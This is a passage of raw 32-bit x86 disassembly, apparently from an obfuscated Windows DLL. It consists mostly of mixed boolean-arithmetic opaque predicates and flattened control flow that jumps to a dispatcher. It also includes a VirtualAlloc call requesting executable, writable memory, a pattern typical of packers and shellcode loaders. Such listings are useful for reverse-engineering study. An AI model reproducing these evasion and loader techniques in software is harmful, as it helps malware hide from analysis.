or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, al
xor al, 1
and dl, al
or dl, ah
or al, cl
xor al, 1
or al, dl
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
mov al, ch
xor al, 1
mov edx, ecx
xor dl, 1
and cl, ch
and al, dl
or al, cl
or dl, ch
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xdd7f9730
mov esi, 0xc80c584f
cmovne ecx, esi
test dl, 1
mov edi, 0xdd7f9730
cmovne edi, ecx
test al, 1
cmove edi, ecx
jmp 0x10011930
push 0x40
push 0x1000
push dword [esp + 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x2c], eax
test eax, eax
sete byte [esp + 0x35]
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov dword [esp + 4], ecx
and eax, 0xdef097ae
mov esi, edx
mov edi, edx
mov dword [esp], edx
and esi, 0x210f6851
or esi, eax
mov eax, esi
xor eax, 0x101606
xor esi, 0x1042000
and eax, 0x1a5616
and esi, 0x9042008
or esi, eax
mov eax, edx
and eax, 0x7e9a60b8
mov edx, ecx
and edx, 0x81659f47
or edx, eax
xor edx, 0x887be959
or edx, edi
mov ebx, edx
not ebx
mov dword [esp + 8], ebx
mov ecx, edx
and ecx, 0x9f7ff677
and ebx, 0x60800988
or ebx, ecx
mov ebp, esi
xor ebp, 0xf6fbdff7
mov edi, esi
xor esi, 0x967bd67f
and esi, ebp
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x61841514
and esi, 0xc3be22b
or esi, eax
mov eax, ebp
or eax, 0x9f7ff677
or ecx, eax
not eax
or eax, 0xf3c41554
xor eax, esi
not ecx
or ecx, eax
mov esi, ebx
xor esi, ebx
not esi
and esi, ecx
xor esi, ebx
xor edi, 0x9042008
mov eax, edi
and eax, 0x8101214
and ebp, 0x458f6c2a
or ebp, eax
mov eax, dword [esp + 8]
or edi, eax
and eax, 0xba7093d5
and edx, 0x458f6c2a
or edx, eax
xor edx, ebp
not edi
or edi, edx
mov edx, esi
not edx
mov eax, edx
and eax, 0xa5dd58ed
and esi, 0x5a22a712
or esi, eax
xor esi, edi
xor esi, 0x5a22a712
or edx, edi
not edx
or edx, esi
mov esi, edx
xor esi, 0xc4408080
mov eax, edx
xor eax, 0x91e761e
mov ecx, eax
and ecx, 0x3bbd4f69
and esi, 0xc442b096
or esi, ecx
mov ecx, esi
xor ecx, 0x44020084
xor esi, 0x120d0000
or eax, 0x124d2010
xor edx, 0x20000820
or esi, 0x80b0c243
and esi, 0x92fde253
and ecx, 0x4402018c
or ecx, esi
and eax, 0x92fde253
and edx, 0x29001c20
or edx, eax
xor edx, ecx
mov eax, edx
xor eax, 0xa9b0de63
mov ecx, eax
and ecx, 1
and eax, 0xfffffffe
and edx, 1
or edx, eax
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, edx
mov esi, edx
and esi, 0xfbec1b35
and ecx, 0x413e4ca
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0xfbec1b35
and eax, 0x413e4ca
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, dword [esp]
mov eax, ecx
and eax, 0xe060a6db
mov edi, dword [esp + 4]
mov esi, edi
xor esi, 0xe060a6db
and esi, edi
or esi, eax
and ecx, 0x158305a7
mov eax, edi
and eax, 0xea7cfa58
or eax, ecx
mov ecx, esi
xor ecx, 0x19015804
xor esi, 0xe060a6da
mov edi, esi
and edi, 0xa6de07eb
and ecx, 0x5921f814
or ecx, edi
mov edi, eax
xor edi, 0x4820f810
xor eax, 0x48205a3
and eax, 0xa6de07eb
and edi, 0x5921f814
or edi, eax
xor edi, ecx
xor esi, edi
and esi, edi
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x7c9ce6a6
mov edi, esi
and edi, 0x83631959
or edi, eax
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x45a1df3f
mov eax, edx
and eax, 0xba5e20c0
or eax, ecx
xor eax, 0x45a1df3f
or eax, ebx
and ebx, 0x6a24d5a5
and esi, 0x95db2a5a
or esi, ebx
mov ecx, ebp
and ecx, 0xa70c628b
xor esi, ebp
xor esi, 0x95db2a5a
and esi, edx
and edx, 0x58f39d74
or edx, ecx
mov ebx, edi
xor ebx, 0x631950
xor edi, 0x240c6282
and edi, 0xa70c628b
and ebx, 0x58f39d74
or ebx, edi
xor ebx, edx
not ebx
or ebx, ebp
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xe6bd12b2
and esi, 0x1942ed4d
or esi, ecx
xor esi, eax
or edx, eax
mov eax, ebx
not eax
xor esi, 0x1942ed4d
not edx
or edx, esi
mov ecx, ebx
and ecx, 0x20e9340a
mov edi, eax
and edi, 0xdf16cbf5
or edi, ecx
mov esi, edi
xor esi, 0xdf16cbf5
xor edi, 0xd85df310
and edi, esi
mov ebp, edi
not ebp
mov ecx, ebp
and ecx, 0xc9fe198e
and edi, 0x3601e671
or edi, ecx
or ebx, 0xf8b4c71a
or ebp, ebx
and ebx, 0xc9fe198e
and eax, 0x6012061
or eax, ebx
xor eax, edi
not ebp
or ebp, eax
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x74008a1
and ecx, 0xaf70c9b1
or esi, eax
mov edi, eax
and eax, 0x5084060a
or eax, ecx
or edi, 0xa830c110
and edi, 0xaf70c9b1
and edx, 0xb3044
or edx, edi
xor edx, eax
mov eax, edx
xor eax, edx
not eax
and eax, ebp
xor eax, edx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0xe6136bcf
and eax, 0x19ec9430
or eax, ecx
xor eax, esi
xor eax, 0x19ec9430
or edi, esi
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, edi
and eax, 0x7788a303
mov esi, ecx
and esi, 0x88775cfc
or esi, eax
mov eax, esi
xor eax, 0x40000102
xor esi, 0x8511c84
and eax, 0xc026417a
and esi, 0x3fd9be85
or esi, eax
mov eax, esi
xor eax, 0x3070291e
xor esi, 0x3fd9be85
and esi, eax
and edi, 0xd97f3751
mov eax, ecx
and eax, 0x2680c8ae
or eax, edi
xor eax, 0x29295f35
and ecx, 0xf0566864
or ecx, eax
xor ecx, esi
and esi, ecx
not ecx
or ecx, esi
mov ebx, ecx
mov edi, dword [esp + 4]
mov eax, edi
and eax, 0x30f41cbf
mov ecx, dword [esp]
mov esi, ecx
and esi, 0xcf0be340
or esi, eax
mov eax, esi
xor eax, 0x8008af
xor esi, 0xcf0be340
and eax, 0xcb82cbef
mov edx, esi
and edx, 0x347d3410
or edx, eax
mov eax, ebx
xor eax, 0xfa9979b
xor edx, 0xd4928906
and esi, 0x1f1042e9
or esi, edx
or ecx, 0xe0ed2402
mov edx, edi
and edx, 0xc004060
and ecx, 0xf3fd268b
or ecx, edx
mov edx, ecx
xor edx, 0xf3fd268b
and edx, esi
not esi
xor ecx, 0xc02d974
mov edi, esi
xor edi, ecx
and edi, esi
and ecx, esi
or ecx, edx
or ecx, edi
mov esi, ecx
not esi
mov edx, esi
and edx, 0x92400082
mov edi, ecx
and edi, 0x20a9b840
or edi, edx
mov edx, edi
xor edx, 0x20a000
xor edi, 0xc8104083
or esi, 0xa08918c2
and edi, 0xe89958c3
and edx, 0x1260a000
or edx, edi
and esi, 0xe89958c3
and ecx, 0x506073c
or ecx, esi
xor ecx, edx
mov ebp, ecx
xor ebx, 0xf0566864
mov edx, ebx
mov dword [esp + 4], ebx
and edx, 0x8422e0e7
mov esi, eax
and esi, 0x7bdd1f18
or esi, edx
xor esi, 0x7bdd1f18
mov edx, ebx
and edx, eax
or edx, esi
mov dword [esp], edx
mov edi, ecx
xor edi, 0x520605d4
xor ecx, 0xae28a86a
or ecx, 0x41540004
and ecx, 0x69548024
mov edx, edi
and edx, 0x14034508
or edx, ecx
mov ebx, ebp
xor ebx, 0xadf9fa2b
mov esi, edi
or esi, 0x28008020
and esi, 0x69548024
mov ebp, ebx
and ebp, 0x82a83ad3
or ebp, esi
xor ebp, edx
mov esi, dword [esp]
mov edx, esi
not edx
mov dword [esp + 8], edx
and edx, 0xab4f8b86
and esi, 0x54b07479
or esi, edx
mov dword [esp + 0x10], esi
and eax, 0xa8fe51a9
mov esi, dword [esp + 4]
mov edx, esi
and edx, 0x5701ae56
or edx, eax
xor edx, 0xfc4e25d0
and esi, 0x54b07479
or esi, edx
mov edx, ebp
xor edx, 0xc3fc3ad7
mov dword [esp + 4], edx
xor ebp, 0x3c03c528
mov eax, ebp
or eax, 0x84a0a00
and edx, 0x10a06479
and eax, 0x4c5a1a00
or eax, edx
or edi, 0x4001018
and ebx, 0xb0e8006
and edi, 0xa4411b98
or edi, ebx
mov dword [esp + 0xc], edi
mov edx, esi
xor edx, 0x953afe2e
and edx, esi
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x3f790fe3
and edx, 0xc086f01c
or edx, ecx
mov ecx, esi
or ecx, 0x6ac501d1
mov ebx, esi
not ebx
or edi, ecx
and ecx, 0x3f790fe3
and ebx, 0x8002f00c
or ebx, ecx
xor ebx, edx
not edi
or edi, ebx
mov ecx, dword [esp + 0x10]
not ecx
mov ebx, dword [esp + 8]
or ecx, ebx
xor edi, ecx
mov edx, ecx
or esi, ecx
xor edi, 0x953afe2e
not esi
or esi, edi
mov edi, esi
mov edx, eax
xor edx, 0x4000000
xor eax, 0xa0a1c020
and eax, 0xe0f9d220
and edx, 0x14002459
or edx, eax
mov eax, dword [esp + 0xc]
mov esi, eax
xor esi, 0x980
xor eax, 0x40b8c020
and eax, 0xe0f9d220
and esi, 0xb060986
or esi, eax
xor esi, edx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xd8b75cc
mov eax, edi
and eax, 0xf2748a33
or eax, ecx
mov ecx, esi
not ecx
xor eax, 0xd8b75cc
or eax, ecx
and ecx, 0x28afae48
and esi, 0xd75051b7
or esi, ecx
xor esi, edx
xor esi, 0xd75051b7
and esi, edi
not eax
or esi, eax
mov edx, ebx
mov eax, dword [esp + 4]
and eax, ebx
or edx, ebp
and ebp, dword [esp]
or ebp, eax
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0x97ccca09
and ebp, 0x683335f6
or ebp, eax
xor ebp, edx
xor ebp, 0x683335f6
or ecx, edx
not ecx
or ecx, ebp
mov eax, ecx
not eax
mov edx, eax
or edx, 0x2bc4920
mov edi, ecx
or edi, 0x5411006
and edi, 0x7fd5926
and eax, 0xf80026d9
or eax, edi
and edx, 0x7fd5926
and ecx, 0x28000
or ecx, edx
xor ecx, eax
mov edx, ecx
xor edx, 0x5439006
mov dword [esp], edx
xor ecx, 0xfabc6ff9
mov eax, esi
not eax
mov ebx, eax
mov eax, ecx
and eax, 0x188d8197
and edx, 0xe7727e68
or edx, eax
mov edi, esi
xor edi, 0x5801d46e
and edi, ebx
mov eax, ebx
mov ebx, edi
not ebx
mov ebp, ebx
and ebp, 0x866631a5
and edi, 0x7999ce5a
or edi, ebp
mov ebp, edx
xor ebp, 0xe7727e68
xor edx, 0x408c55f9
and edx, ebp
or ebp, eax
or eax, 0x5801d46e
or ebx, eax
and eax, 0x866631a5
and esi, 0x21980a10
or esi, eax
xor esi, edi
not ebx
or ebx, esi
mov eax, edx
not eax
mov esi, eax
and esi, 0x36b76932
and edx, 0xc94896cd
or edx, esi
or ecx, 0x5801d46e
or eax, ecx
and ecx, 0x36b76932
mov esi, dword [esp]
and esi, 0x81480281
or esi, ecx
xor esi, edx
not eax
or eax, esi
xor eax, ebx
mov edx, ebp
not edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x9ebc7759
and eax, 0x614388a6
or eax, esi
or ecx, ebp
and ebp, 0x9ebc7759
and edx, 0x614388a6
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x93bf3b9b
mov esi, ecx
and esi, 0x6c40c464
or esi, edx
mov edi, esi
xor edi, 0x6c40c464
xor esi, 0x12352991
and esi, 0x5e75adb1
mov edx, edi
and edx, 0xa18a524e
or edx, esi
xor edx, 0xa18a524e
or edx, edi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0x6ec790cc
xor edx, 0x8b3f3d61
and edx, ebx
and ebx, 0x91386f33
or ebx, esi
mov esi, ecx
and esi, 0x74c0c29e
mov ebp, ecx
xor ebp, 0x8b3f3d61
and ebp, eax
or ebp, esi
mov edi, ebx
xor edi, 0x91386f33
mov esi, ebx
xor esi, 0x1a075252
and esi, edi
or edx, esi
mov esi, edx
xor esi, edx
not esi
and esi, ebp
xor esi, edx
mov edx, eax
and edx, 0xb8db29ab
and ecx, 0x4724d654
or ecx, edx
xor ebx, 0x6ec790cc
or eax, ebx
and ebx, 0xb8db29ab
and edi, 0x4724d654
or edi, ebx
xor edi, ecx
not eax
or eax, edi
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xa119b422
and esi, 0x5ee64bdd
or esi, edx
xor esi, eax
xor esi, 0x5ee64bdd
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
mov edx, ecx
xor edx, 0xfd9c2d23
and edx, ecx
not ecx
or eax, 0x263d2dc
mov esi, eax
and esi, 0x7fe3eac1
and ecx, 0x801c0522
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x7fe3eac1
and edx, 0x801c153e
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x2002d4
xor eax, 0xd9982120
and eax, 0xdbdbf128
and ecx, 0x24240ed7
or ecx, eax
mov eax, ecx
xor eax, 0x59198028
xor ecx, 0x24040040
and eax, 0x59398ebf
and ecx, 0xa6c67140
or ecx, eax
mov eax, ecx
xor eax, 0x4828801e
xor ecx, 0xa0c63140
and ecx, 0xb1d73fe1
and eax, 0x4e28c01e
or eax, ecx
mov ecx, eax
xor ecx, 0x42008018
xor eax, 0xb19718e0
and eax, 0xbdbf58e6
and ecx, 0x4240a719
or ecx, eax
xor ecx, 0x4240a719
sete cl
setne al
cmp dword [0x1004f90c], 0xa
setl ch
setge dl
mov ah, dl
xor ah, al
and al, ah
and ah, dl
mov dh, al
xor dh, 1
xor al, ah
xor ah, 1
or ah, dh
xor ah, 1
or ah, al
mov al, ch
xor al, cl
or ch, cl
xor ch, 1
or ch, al
xor al, 1
mov dh, al
xor dh, ch
or ch, al
xor ch, 1
or ch, dh
mov al, ch
xor al, 1
and al, ch
xor al, 1
mov dh, ch
xor dh, al
or al, ch
xor al, 1
or al, dh
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
xor ch, 1
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov ch, cl
or ch, dl
mov dh, ch
xor dh, 1
xor cl, dl
or cl, dh
xor cl, 1
and ch, dh
xor ch, 1
mov dl, dh
xor dl, ch
or ch, dh
xor ch, 1
or ch, dl
xor ch, cl
mov dl, cl
or dl, dh
xor dl, 1
xor cl, dh
or cl, dl
mov dh, cl
xor dh, 1
mov dl, dh
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, dh
or cl, ch
xor dl, ch
mov ch, dl
xor ch, cl
or dl, cl
xor dl, 1
or dl, ch
mov ch, al
and ch, ah
xor ch, 1
mov cl, ah
xor cl, ch
or ch, ah
xor ch, 1
or ch, cl
mov cl, dl
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
mov dh, ah
xor dh, dl
or ah, dl
xor ah, 1
or ah, dh
mov dh, ah
xor ah, 1
and ah, ch
xor ch, 1
and dh, ch
or ah, dh
or ch, dl
xor ch, 1
or ch, ah
mov dh, ch
xor dh, 1
mov ah, dh
and ah, ch
xor dh, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, dh
or dl, al
xor cl, al
and cl, al
xor cl, 1
mov al, dl
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov al, ah
xor al, cl
or cl, ah
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
xor al, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov edi, 0x1d85eb99
mov eax, 0xcb1f11b6
cmovne edi, eax
test dl, 1
cmovne edi, eax
not cl
test cl, 1
mov eax, 0x1d85eb99
cmove edi, eax
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edi, ecx
not eax
mov edx, eax
mov ecx, eax
and ecx, 0x6f3d5e2e
mov eax, edi
and eax, 0x90c2a1d1
or eax, ecx
not eax
or eax, edx
mov esi, edx
mov ecx, edx
mov ebp, edx
mov dword [esp + 8], edx
and ecx, 0x41c01045
mov esi, edi
and esi, 0x148222
or esi, ecx
xor esi, 0x148222
mov ecx, edi
xor ecx, 0x41d49267
and ecx, edi
mov ebx, edi
or ecx, esi
mov esi, ecx
xor esi, 0xa4204000
xor ecx, 0x41449027
and esi, 0xa4b04240
and ecx, 0x5b4fbdbf
or ecx, esi
mov esi, ecx
xor esi, 0xcb8d1c6e
xor ecx, 0x5b4fbdbf
and ecx, esi
xor eax, ecx
and ecx, eax
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0x94d47a6c
and esi, eax
or eax, 0x6b2b8593
mov edi, eax
and edi, 0xadc30ef3
and ecx, 0x1014700c
or ecx, edi
mov edi, esi
not edi
or eax, edi
and edi, 0xadc30ef3
and esi, 0x523cf10c
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0x416dbbd
xor eax, 0xa412040
and ecx, 0xf1aa5536
and eax, 0xe55aac9
or eax, ecx
mov ecx, eax
xor ecx, 0xf1aa5536
xor eax, 0xe55aac9
mov esi, eax
and esi, 0x8e000302
mov edi, ecx
and edi, 0x709518e5
or edi, esi
mov esi, edi
xor esi, 0x60841041
xor edi, 0x604302
and edi, 0x10714ba6
and esi, 0xee841041
or esi, edi
mov edi, edx
or eax, 0x10110ba6
and eax, 0x10714ba6
and ecx, 0x10aa418
or ecx, eax
xor ecx, esi
mov eax, ecx
xor eax, 0x8c418
xor ecx, 0xfe951be6
mov esi, ecx
and esi, 0x89673b65
and eax, 0x7698c49a
or eax, esi
xor eax, 0x89673b64
xor ecx, eax
and ecx, eax
and edx, 0xca985b0e
mov dword [esp], ebx
mov eax, ebx
and eax, 0x3567a4f0
or eax, edx
xor eax, 0x3567a4f0
mov esi, ebx
xor esi, 0xfffffffe
and esi, ebx
or esi, eax
and edi, 0xd0c94725
mov eax, ebx
and eax, 0x2f36b8da
or eax, edi
mov edx, eax
xor edx, 0x2f36b8da
xor eax, 0xd0c94725
and eax, esi
not esi
and edx, esi
or eax, edx
xor esi, eax
and esi, eax
mov eax, ecx
mov dword [esp + 0xc], ecx
mov edi, ecx
not edi
mov dword [esp + 0x10], edi
and eax, 0x52458830
and edi, 0xadba77cf
or edi, eax
mov eax, esi
not eax
mov dword [esp + 4], eax
and eax, 0x816123ab
mov edx, esi
and edx, 0x7e9edc54
or edx, eax
mov eax, edi
xor eax, 0x52458830
mov dword [esp + 0x14], edx
xor edx, 0x816123ab
xor edi, 0xadba77cf
mov ecx, edi
or ecx, 0x2208a00
mov ebx, eax
xor ebx, edx
and ebx, eax
mov dword [esp + 0x18], ebx
mov ebp, edx
mov ebx, edx
and edx, eax
mov dword [esp + 0x20], edx
mov edx, eax
and edx, 0x509c201f
mov eax, ecx
and eax, 0x8760da40
or eax, edx
mov dword [esp + 0x24], eax
mov ecx, eax
xor ecx, 0x8760da40
mov edx, eax
xor edx, 0x789f25bf
or edx, ecx
mov eax, dword [esp + 0x10]
and eax, 0x238700
mov ecx, dword [esp + 0xc]
and ecx, 0x2a0008a0
or ecx, eax
mov eax, dword [esp + 0x14]
xor eax, 0x7e9edc54
and edi, eax
mov dword [esp + 0xc], edi
and eax, 0xea253782
and ebp, 0x15dac87d
or ebp, eax
xor ebp, 0xc006b822
and ebx, 0x2a238fa0
or ebx, ebp
mov edi, dword [esp + 4]
mov eax, edi
and eax, 0x91e4f239
and esi, 0x6e1b0dc6
or esi, eax
xor esi, 0x44388266
xor edi, esi
and edi, esi
mov eax, dword [esp + 0x24]
xor eax, 0x50490f3d
and eax, edx
mov edx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x2000020
or esi, 0xd508505d
xor eax, 0x20200
and esi, 0xd729d57d
and eax, 0x28020a80
or eax, esi
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov eax, edi
xor eax, 0xade299b9
mov ecx, eax
and eax, edi
mov edx, edi
not edx
mov ebp, ebx
xor ebp, 0x521d6646
and ebp, ebx
and ecx, edx
or edx, ebx
not ebx
and ebx, 0x521d6646
or ebx, ebp
mov ebp, ecx
not ebp
mov edi, ebp
and edi, 0x88e8fd05
and ecx, 0x771702fa
or ecx, edi
mov edi, eax
not edi
or ebp, edi
and edi, 0x88e8fd05
and eax, 0x771702fa
or eax, edi
xor eax, ecx
not ebp
or ebp, eax
mov eax, ebp
xor eax, ebp
not eax
and eax, ebx
xor eax, ebp
not edx
or edx, eax
not edx
mov ecx, esi
xor ecx, edx
or edx, esi
not ecx
and ecx, esi
not edx
or ecx, edx
mov edx, dword [esp + 0x20]
or edx, dword [esp + 0xc]
mov edi, dword [esp + 0x18]
mov esi, edi
not esi
mov eax, esi
and eax, 0xd7c1bb59
and edi, 0x283e44a6
or edi, eax
mov eax, edx
not eax
or esi, eax
and eax, 0xd7c1bb59
and edx, 0x283e44a6
or edx, eax
mov eax, edx
mov ebx, dword [esp + 8]
mov edx, ebx
xor eax, edi
not esi
or esi, eax
mov edi, ecx
not edi
mov eax, edi
and edi, 0xe3c9ca4a
and ecx, 0x1c3635b5
or ecx, edi
mov edi, esi
not edi
or eax, esi
and esi, 0xe3c9ca4a
and edi, 0x1c3635b5
or edi, esi
mov dword [esp + 4], edi
mov edi, ebx
mov ebp, dword [esp]
and edx, ebp
and edi, 0xef4cefe0
mov esi, ebp
and ebp, 0x10b3101f
or ebp, edi
not ebp
or ebp, ebx
mov edi, ebx
not eax
mov ebx, dword [esp + 4]
xor ebx, ecx
or ebx, eax
mov eax, edx
not eax
and edi, 0x16a31d3a
and esi, 0xe95ce2c5
or esi, edi
mov ecx, esi
xor ecx, 0x944c040
xor esi, 0x16a31d3a
mov edi, esi
and edi, 0xe0082380
and ecx, 0xf44cc60
or ecx, edi
or esi, eax
and eax, 0xe0082380
and edx, 0xf44cc60
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov eax, esi
not eax
or eax, 0xb10013
and esi, 0x8a004420
and eax, 0x65fdabd3
or eax, esi
mov edi, eax
xor edi, 0x22c0
xor eax, 0x9a02542c
mov ecx, eax
or ecx, ebp
and eax, 0xed5ecd35
and edi, 0x20022c0
or edi, eax
xor edi, ebp
mov eax, edi
xor eax, 0x12a132ca
xor edi, 0xed5ecd35
mov edx, edi
and edx, 0xee481b1f
and eax, 0x11b7e4e0
or eax, edx
or edi, ecx
and ecx, 0xef4cffff
xor ecx, eax
xor ecx, 0x104e4e0
not edi
or edi, ecx
mov eax, edi
not eax
mov ecx, eax
or ecx, 0x10482028
mov edx, edi
or edx, 0x4da48300
and edx, 0x5deca328
and eax, 0x221348d4
or eax, edx
and ecx, 0x5deca328
and edi, 0x80001403
or edi, ecx
xor edi, eax
mov eax, ebx
not eax
mov dword [esp], eax
and eax, 0xc622d19a
mov edx, ebx
and edx, 0x39dd2e65
or edx, eax
mov ecx, edx
xor ecx, 0x100001
xor edx, 0x8020408a
mov eax, ebx
xor eax, 0x90f844cb
and eax, ebx
mov dword [esp + 4], ebx
mov esi, edx
or esi, 0x28022920
and esi, 0xb8ca6de2
and ecx, 0x300009
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0xb8ca6de2
and eax, 0x4735921d
or eax, esi
xor eax, ecx
not edx
or edx, eax
not eax
and eax, 0x6f07bb34
and edx, 0x90f844cb
or edx, eax
mov eax, edx
not eax
and eax, 0xd7e83eae
and edx, 0x2817c151
or edx, eax
mov ebp, edx
xor ebp, 0xd7e83eae
and ebp, edx
mov eax, dword [esp]
and eax, 0x2e98cf98
mov ecx, ebx
and ecx, 0xd1673067
or ecx, eax
mov ebx, ecx
xor ebx, 0xd1673067
xor ecx, 0x20800880
and ecx, 0x61a618e6
mov eax, ebx
and eax, 0x9e59e719
or eax, ecx
mov edx, edi
xor edx, 0x22e878e3
xor eax, 0x49b1d9b7
and ebx, 0x2817c151
or ebx, eax
xor edi, 0xdd17871c
mov eax, edi
and eax, 0x461048
mov ecx, edx
and ecx, 0x2284f01
or ecx, eax
mov eax, ecx
xor eax, 0x84a00
xor ecx, 0xa5c380c8
and ecx, 0xa7e385c9
and eax, 0xc5a00
or eax, ecx
mov ecx, edi
and ecx, 0x27a2559a
mov esi, edx
and edx, 0xd85daa65
or edx, ecx
xor edx, 0xf04a6b34
or edx, edi
mov dword [esp + 8], edx
or edi, 0x2620549
and edi, 0xa7e385c9
and esi, 0x58102036
or esi, edi
xor esi, eax
mov eax, esi
xor eax, 0x5d918092
xor esi, 0x26e5f49
mov ecx, esi
and ecx, 0xa20a2065
and eax, 0x5df5df9a
or eax, ecx
xor eax, 0x75e21ecb
xor esi, eax
and esi, eax
mov eax, ebp
not eax
mov edx, ebp
mov dword [esp + 0xc], ebp
or edx, 0xec1094d0
and edx, 0xec7097d2
mov ecx, eax
and ecx, 0x8d002c
or ecx, edx
mov edi, eax
or edi, 0x600302
and edi, 0xec7097d2
mov edx, ebp
and edx, 0x13026801
or edx, edi
mov edi, ebx
xor edi, 0xc410f011
mov ebp, ebx
xor ebp, 0x8d030e
and ebp, 0x3b8f0fce
and edi, 0xc470f031
or edi, ebp
xor edi, ecx
xor edi, edx
mov edx, dword [esp + 0xc]
mov ecx, edx
and ecx, 0x9a1dc8b5
and eax, 0x65e2374a
or eax, ecx
mov ecx, ebx
not ecx
or edx, ecx
and ecx, 0x9a1dc8b5
and ebx, 0x65e2374a
or ebx, ecx
xor ebx, eax
not edx
or edx, ebx
mov eax, edi
xor eax, 0x3b8f0fce
xor edi, 0xc470f031
mov ecx, edi
and ecx, 0x1f137881
and eax, 0xe0ec877e
or eax, ecx
mov ecx, edx
not ecx
or edi, edx
and edx, 0x1f137881
and ecx, 0xe0ec877e
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov dword [esp + 0xc], edi
mov ecx, esi
not ecx
mov dword [esp + 0x10], ecx
mov eax, esi
xor eax, 0xee1a32b1
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x67ab4f11
and edx, 0x9854b0ee
or edx, ecx
and eax, esi
mov ecx, eax
not ecx
or ebp, ecx
and ecx, 0x67ab4f11
and eax, 0x9854b0ee
or eax, ecx
xor eax, edx
not ebp
or ebp, eax
mov edi, dword [esp + 8]
mov ecx, edi
xor ecx, 0x11e5cd4e
and ecx, edi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x3fdc0449
and ecx, 0xc023fbb6
or ecx, edx
mov ebx, edi
not ebx
mov edx, edi
or edx, 0xee1a32b1
or eax, edx
and edx, 0x3fdc0449
mov edi, ebx
and edi, 0x21c906
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebp
xor ecx, eax
mov eax, esi
and eax, 0xbffbc42f
mov edx, dword [esp + 0x10]
and edx, 0x40043bd0
or edx, eax
or esi, ebx
and ebx, 0xbffbc42f
mov eax, dword [esp + 8]
and eax, 0x40043bd0
or eax, ebx
xor eax, edx
not esi
or esi, eax
not esi
or esi, ecx
mov edi, dword [esp + 0xc]
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x9f1a0bb1
xor eax, esi
not eax
and eax, edi
and edi, 0x60e5f44e
or edi, ecx
xor edi, esi
xor edi, 0x9f1a0bb1
and edi, esi
mov edx, edi
not edx
mov ecx, eax
not ecx
mov esi, edx
and esi, 0x8fc1560b
and edi, 0x703ea9f4
or edi, esi
or edx, ecx
and ecx, 0x8fc1560b
and eax, 0x703ea9f4
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov ebp, ecx
mov dword [esp + 8], ecx
and eax, 0x935bfc2b
mov ecx, edx
and ecx, 0x6ca403d4
or ecx, eax
mov esi, dword [esp + 4]
mov edi, esi
and edi, 0x178f0247
mov eax, dword [esp]
and eax, 0xe870fdb8
or eax, edi
mov edi, eax
xor edi, 0xe870fdb8
xor eax, 0x5441bc82
and eax, edi
mov ebx, ecx
xor ebx, 0x40800040
xor ecx, 0x202a400
or ecx, 0x24204100
and ecx, 0x2626e784
and ebx, 0x41c81841
or ebx, ecx
mov edi, ebp
or edi, 0x206a684
and edi, 0x2626e784
mov ecx, edx
and ecx, 0x9811003a
or ecx, edi
mov edi, eax
not edi
mov ebp, edi
and ebp, 0x3a83a2e1
and eax, 0xc57c5d1e
or eax, ebp
or esi, 0x43cebec5
or edi, esi
and esi, 0x3a83a2e1
mov ebp, esi
mov esi, dword [esp]
and esi, 0x8430411a
or esi, ebp
xor esi, eax
not edi
or edi, esi
xor edi, ecx
xor edi, ebx
mov eax, edi
not eax
mov ecx, dword [esp + 8]
and ecx, 0x9e48c3de
and edx, 0x61b73c21
or edx, ecx
mov ecx, edx
xor ecx, 0x322820
xor edx, 0x9e48c3de
mov esi, edi
and esi, 0xfb8594c5
and eax, 0x47a6b3a
or eax, esi
or edi, edx
and edx, 0xfb8594c5
and ecx, 0x47a6b3a
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
xor edi, 0xa75cfbf5
cmp edi, 0x58a3040a
setne al
